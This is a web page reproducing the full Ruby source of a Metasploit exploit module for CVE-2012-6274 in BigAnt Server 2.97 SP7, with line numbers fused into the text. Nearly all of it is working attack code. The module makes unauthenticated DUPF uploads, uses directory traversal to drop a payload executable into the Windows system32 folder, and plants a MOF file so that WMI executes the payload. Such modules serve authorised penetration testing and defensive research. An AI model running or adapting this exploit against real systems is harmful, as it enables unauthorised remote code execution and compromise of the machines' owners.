Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bigant_server_dupf_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE10include Msf::Exploit::WbemExec11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',16'Description' => %q{17This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.18A lack of authentication allows to make unauthenticated file uploads through a DUPF19command. Additionally the filename option in the same command can be used to launch20a directory traversal attack and achieve arbitrary file upload.2122The module uses the Windows Management Instrumentation service to execute an23arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It24has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 200325SP2.26},27'Author' =>28[29'Hamburgers Maccoy', # Vulnerability discovery30'juan vazquez' # Metasploit module31],32'License' => MSF_LICENSE,33'References' =>34[35[ 'CVE', '2012-6274' ],36[ 'US-CERT-VU', '990652' ],37[ 'BID', '57214' ],38[ 'OSVDB', '89342' ]39],40'Privileged' => true,41'Platform' => 'win',42'Targets' =>43[44[ 'BigAnt Server 2.97 SP7', { } ]45],46'DefaultTarget' => 0,47'DefaultOptions' =>48{49'WfsDelay' => 1050},51'DisclosureDate' => '2013-01-09'))5253register_options(54[55Opt::RPORT(6661),56OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])57])5859end6061def upload_file(filename, content)6263random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"6465dupf = "DUPF 16\n"66dupf << "cmdid: 1\n"67dupf << "content-length: #{content.length}\n"68dupf << "content-type: Appliction/Download\n"69dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"70dupf << "modified: #{random_date}\n"71dupf << "pclassid: 102\n"72dupf << "pobjid: 1\n"73dupf << "rootid: 1\n"74dupf << "sendcheck: 1\n\n"75dupf << content7677print_status("sending DUPF")78connect79sock.put(dupf)80res = sock.get_once81disconnect82return res8384end8586def exploit8788peer = "#{rhost}:#{rport}"8990# Setup the necessary files to do the wbemexec trick91exe_name = rand_text_alpha(rand(10)+5) + '.exe'92exe = generate_payload_exe93mof_name = rand_text_alpha(rand(10)+5) + '.mof'94mof = generate_mof(mof_name, exe_name)9596print_status("Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")97res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)98if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/99print_good("#{exe_name} uploaded successfully")100else101if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/102print_error("Upload failed, check the DEPTH option")103end104fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")105end106107print_status("Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")108res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)109if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/110print_good("#{mof_name} uploaded successfully")111register_file_for_cleanup(exe_name)112register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")113else114if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/115print_error("Upload failed, check the DEPTH option")116end117fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")118end119120end121end122123124